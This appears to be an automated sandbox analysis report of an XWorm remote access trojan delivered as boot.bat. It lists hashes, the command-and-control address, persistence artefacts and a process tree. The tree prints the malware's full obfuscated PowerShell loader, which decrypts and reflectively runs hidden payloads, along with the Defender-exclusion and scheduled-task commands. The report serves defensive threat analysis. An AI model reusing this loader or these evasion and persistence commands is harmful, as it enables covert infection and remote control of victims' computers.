xworm | f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240704-en
resource tags

arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
submitted
06/07/2024, 07:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

boot.bat
Size

410KB
MD5

d87efb4cf8da07e1956944f23313bb5b
SHA1

929203873eaf41e02377a26e1ef4db8a88d37696
SHA256

f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd
SHA512

d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a
SSDEEP

12288:xpWbCqT4gUVKkPSmSZ+XPk6V4mzYWQvKMbGt:xkGqTjURpXPkAUvvKMit

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

case-shield.gl.at.ply.gg:26501

Attributes

Install_directory
%Userprofile%
install_file
system.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/2412-48-0x0000012AF6CF0000-0x0000012AF6D0A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2412	powershell.exe
4	2412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
128	powershell.exe
3152	powershell.exe
3524	powershell.exe
3424	powershell.exe
5052	powershell.exe
880	powershell.exe
2412	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4904	system.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000\Software\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\system.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\system	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2308	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5052	powershell.exe
5052	powershell.exe
880	powershell.exe
880	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
3524	powershell.exe
3524	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
3424	powershell.exe
3424	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
128	powershell.exe
128	powershell.exe
3152	powershell.exe
3152	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeIncreaseQuotaPrivilege	880	powershell.exe
Token: SeSecurityPrivilege	880	powershell.exe
Token: SeTakeOwnershipPrivilege	880	powershell.exe
Token: SeLoadDriverPrivilege	880	powershell.exe
Token: SeSystemProfilePrivilege	880	powershell.exe
Token: SeSystemtimePrivilege	880	powershell.exe
Token: SeProfSingleProcessPrivilege	880	powershell.exe
Token: SeIncBasePriorityPrivilege	880	powershell.exe
Token: SeCreatePagefilePrivilege	880	powershell.exe
Token: SeBackupPrivilege	880	powershell.exe
Token: SeRestorePrivilege	880	powershell.exe
Token: SeShutdownPrivilege	880	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeSystemEnvironmentPrivilege	880	powershell.exe
Token: SeRemoteShutdownPrivilege	880	powershell.exe
Token: SeUndockPrivilege	880	powershell.exe
Token: SeManageVolumePrivilege	880	powershell.exe
Token: 33	880	powershell.exe
Token: 34	880	powershell.exe
Token: 35	880	powershell.exe
Token: 36	880	powershell.exe
Token: SeIncreaseQuotaPrivilege	880	powershell.exe
Token: SeSecurityPrivilege	880	powershell.exe
Token: SeTakeOwnershipPrivilege	880	powershell.exe
Token: SeLoadDriverPrivilege	880	powershell.exe
Token: SeSystemProfilePrivilege	880	powershell.exe
Token: SeSystemtimePrivilege	880	powershell.exe
Token: SeProfSingleProcessPrivilege	880	powershell.exe
Token: SeIncBasePriorityPrivilege	880	powershell.exe
Token: SeCreatePagefilePrivilege	880	powershell.exe
Token: SeBackupPrivilege	880	powershell.exe
Token: SeRestorePrivilege	880	powershell.exe
Token: SeShutdownPrivilege	880	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeSystemEnvironmentPrivilege	880	powershell.exe
Token: SeRemoteShutdownPrivilege	880	powershell.exe
Token: SeUndockPrivilege	880	powershell.exe
Token: SeManageVolumePrivilege	880	powershell.exe
Token: 33	880	powershell.exe
Token: 34	880	powershell.exe
Token: 35	880	powershell.exe
Token: 36	880	powershell.exe
Token: SeIncreaseQuotaPrivilege	880	powershell.exe
Token: SeSecurityPrivilege	880	powershell.exe
Token: SeTakeOwnershipPrivilege	880	powershell.exe
Token: SeLoadDriverPrivilege	880	powershell.exe
Token: SeSystemProfilePrivilege	880	powershell.exe
Token: SeSystemtimePrivilege	880	powershell.exe
Token: SeProfSingleProcessPrivilege	880	powershell.exe
Token: SeIncBasePriorityPrivilege	880	powershell.exe
Token: SeCreatePagefilePrivilege	880	powershell.exe
Token: SeBackupPrivilege	880	powershell.exe
Token: SeRestorePrivilege	880	powershell.exe
Token: SeShutdownPrivilege	880	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeSystemEnvironmentPrivilege	880	powershell.exe
Token: SeRemoteShutdownPrivilege	880	powershell.exe
Token: SeUndockPrivilege	880	powershell.exe
Token: SeManageVolumePrivilege	880	powershell.exe
Token: 33	880	powershell.exe
Token: 34	880	powershell.exe
Token: 35	880	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2412	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 3940	1672	cmd.exe	79
PID 1672 wrote to memory of 3940	1672	cmd.exe	79
PID 1672 wrote to memory of 5052	1672	cmd.exe	80
PID 1672 wrote to memory of 5052	1672	cmd.exe	80
PID 5052 wrote to memory of 880	5052	powershell.exe	81
PID 5052 wrote to memory of 880	5052	powershell.exe	81
PID 5052 wrote to memory of 2700	5052	powershell.exe	84
PID 5052 wrote to memory of 2700	5052	powershell.exe	84
PID 2700 wrote to memory of 220	2700	WScript.exe	85
PID 2700 wrote to memory of 220	2700	WScript.exe	85
PID 220 wrote to memory of 3316	220	cmd.exe	87
PID 220 wrote to memory of 3316	220	cmd.exe	87
PID 220 wrote to memory of 2412	220	cmd.exe	88
PID 220 wrote to memory of 2412	220	cmd.exe	88
PID 2412 wrote to memory of 3320	2412	powershell.exe	53
PID 2412 wrote to memory of 1768	2412	powershell.exe	30
PID 2412 wrote to memory of 1960	2412	powershell.exe	33
PID 2412 wrote to memory of 2352	2412	powershell.exe	40
PID 2412 wrote to memory of 2548	2412	powershell.exe	43
PID 2412 wrote to memory of 1756	2412	powershell.exe	35
PID 2412 wrote to memory of 1164	2412	powershell.exe	18
PID 2412 wrote to memory of 764	2412	powershell.exe	15
PID 2412 wrote to memory of 1760	2412	powershell.exe	29
PID 2412 wrote to memory of 1548	2412	powershell.exe	27
PID 2412 wrote to memory of 952	2412	powershell.exe	11
PID 2412 wrote to memory of 1536	2412	powershell.exe	26
PID 2412 wrote to memory of 740	2412	powershell.exe	14
PID 2412 wrote to memory of 1132	2412	powershell.exe	17
PID 2412 wrote to memory of 1708	2412	powershell.exe	28
PID 2412 wrote to memory of 1508	2412	powershell.exe	25
PID 2412 wrote to memory of 2492	2412	powershell.exe	42
PID 2412 wrote to memory of 2484	2412	powershell.exe	41
PID 2412 wrote to memory of 1892	2412	powershell.exe	32
PID 2412 wrote to memory of 2580	2412	powershell.exe	68
PID 2412 wrote to memory of 2672	2412	powershell.exe	48
PID 2412 wrote to memory of 3456	2412	powershell.exe	54
PID 2412 wrote to memory of 1088	2412	powershell.exe	16
PID 2412 wrote to memory of 1280	2412	powershell.exe	70
PID 2412 wrote to memory of 1868	2412	powershell.exe	31
PID 2412 wrote to memory of 4032	2412	powershell.exe	61
PID 2412 wrote to memory of 2060	2412	powershell.exe	36
PID 2412 wrote to memory of 1468	2412	powershell.exe	24
PID 2412 wrote to memory of 2648	2412	powershell.exe	47
PID 2412 wrote to memory of 2252	2412	powershell.exe	39
PID 2412 wrote to memory of 1188	2412	powershell.exe	19
PID 2412 wrote to memory of 2640	2412	powershell.exe	46
PID 2412 wrote to memory of 1244	2412	powershell.exe	22
PID 2412 wrote to memory of 4920	2412	powershell.exe	74
PID 2412 wrote to memory of 4780	2412	powershell.exe	66
PID 2412 wrote to memory of 3496	2412	powershell.exe	55
PID 2412 wrote to memory of 4384	2412	powershell.exe	63
PID 2412 wrote to memory of 836	2412	powershell.exe	10
PID 2412 wrote to memory of 1228	2412	powershell.exe	21
PID 2412 wrote to memory of 2592	2412	powershell.exe	44
PID 2412 wrote to memory of 2192	2412	powershell.exe	38
PID 2412 wrote to memory of 2388	2412	powershell.exe	67
PID 2412 wrote to memory of 1204	2412	powershell.exe	20
PID 2412 wrote to memory of 1004	2412	powershell.exe	12
PID 2412 wrote to memory of 4616	2412	powershell.exe	73
PID 2412 wrote to memory of 1392	2412	powershell.exe	23
PID 2412 wrote to memory of 3044	2412	powershell.exe	50
PID 2412 wrote to memory of 1976	2412	powershell.exe	34
PID 2412 wrote to memory of 3524	2412	powershell.exe	89
PID 2412 wrote to memory of 3524	2412	powershell.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1188
- C:\Users\Admin\system.exe
  C:\Users\Admin\system.exe
  2⤵
  - Executes dropped EXE
  PID:4904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3044

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\boot.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Local\Temp\boot.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_184_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:880
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2700
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:220
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\system.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3152
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\system.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
3ec0d76d886b2f4b9f1e3da7ce9e2cd7

SHA1
68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

SHA256
214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

SHA512
a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2f8f22fd5d2b19935f8a6268fabe255c

SHA1
fea7116a5e56c501439fa0261d2c89564c939a1b

SHA256
c3129137313ae7bd0bc8b22bd043708e9890398876608f45c0ad33108a41d5c2

SHA512
2f5af078f6ec28116349e1dc4c05b4d6dc9bdcbe4f28bbeb0f43e1492a8a1aaaff074f4ea2a8119c3ea728c15ae721ecdaafad1d6a1edda208ee5dbc16b347ec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ca8714c6f4f79aab61db3cd5f6b113cf

SHA1
de8a46cec8b3a4782c915d9ae9a8adc60885a06c

